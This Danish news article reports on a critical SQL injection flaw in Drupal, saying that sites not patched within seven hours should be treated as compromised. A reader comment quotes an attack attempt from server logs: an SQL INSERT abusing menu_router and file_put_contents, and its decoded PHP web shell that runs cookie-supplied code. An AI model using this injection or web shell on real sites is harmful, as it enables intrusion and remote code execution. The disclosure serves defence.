Drupal: Som udgangspunkt er dit website hacket, hvis du ikke patchede hurtigt

Kritisk SQL-sårbarhed i Drupal kan have kompromitteret samtlige websites, der kører på det populære CMS og ikke blev opdateret inden for syv timer.

Omfanget af hackerangreb på websites, der bruger CMS-systemet Drupal, kan være langt mere omfattende end hidtil antaget ifølge udviklerne bag systemet.

Den 15. oktober kom det frem, at en kritisk SQL-sårbarhed i Drupal gjorde muligt for hackere at få adgang til at køre forespørgsler på databaserne og få adgang til fortrolige oplysninger.

Læs også: Drupal har kritisk SQL-sårbarhed

Det udnyttede en hacker blandt andet til at få adgang til en række websites under Mediehuset Ingeniøren, heriblandt Version2.dk og Ing.dk, der begge kører på Drupal.

Det har været sparsomt med udmeldinger fra andre virksomheder, der kører på systemet, men noget tyder dog på, at Mediehuset Ingeniøren ikke er den eneste Drupal-bruger, der er blevet ramt.

Læs også: Version2 og Mediehuset Ingeniøren udsat for hackerangreb

Samtlige websites, der ikke patchede systemet inden for syv timer, er som udgangspunkt blevet kompromitteret - også selvom, systemet nu er blevet opdateret. Det oplyser Drupal-holdet.

Det skyldes, at hackerne kan have efterladt bagdøre i koden, som kan udnyttes selv efter opdateringen.

Især brugere, der har installeret deres Drupal-løsning gennem web-hoteller kan være i farezonen, da disse installationer normalt ikke bliver opdateret automatisk, når de først er lagt ind på serveren. Ligeledes kan virksomheder, der selv hoster Drupal-løsningen, være ramt, hvis de har ventet med at installere sikkerhedsopdateringen til efter den 16. oktober klokken et om natten, dansk tid. Kun i de få tilfælde, hvor web-hosten selv har ansvar for at opdatere applikationer som Drupal - og har gjort det i tide - kan man vide sig mere sikker.

Er det ikke tilfældet, bør man enten gå tilbage til en backup fra før den 15. oktober eller installere systemet helt forfra ifølge Drupal-holdet.

Læs advarslen fra Drupal.

Tips og korrekturforslag til denne historie sendes til tip@version2.dk
Følg forløbet
Kommentarer (2)
sortSortér kommentarer
  • Ældste først
  • Nyeste først
  • Bedste først
Christian Schmidt

Jeg fandt et enkelt forsøg på at udnytte dette hul i mine logfiler. Vedkommende havde forsøgt at injecte flg. SQL:

INSERT INTO menu_router (path, load_functions, to_arg_functions, description, access_callback, access_arguments) VALUES ('hzvdrw', '', '', 'hzvdrw', 'file_put_contents', 0x613a323...);

Den lange hex-streng er forkertet her. Oversat til almindelig tekst ser den sådan ud:

a:2:{i:0;s:22:"modules/color/sntp.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Resultatet er oprettelsen af en ny URL, /hzvdrw, som vedkommende forsøgte at tilgå umiddelbart efter. Dette resulterer i, at den forsøger at skrive det indlejrede PHP-kode ned i en fil i Drupal-sites webscope. PHP-koden giver mulighed for at injecte yderligere kode vha. cookies.

Forsøget mislykkedes (tror jeg), idet Apache kørte som en bruger, der ikke har adgang til at skrive ned i Drupals modulfolder.

  • 4
  • 0
Log ind eller Opret konto for at kommentere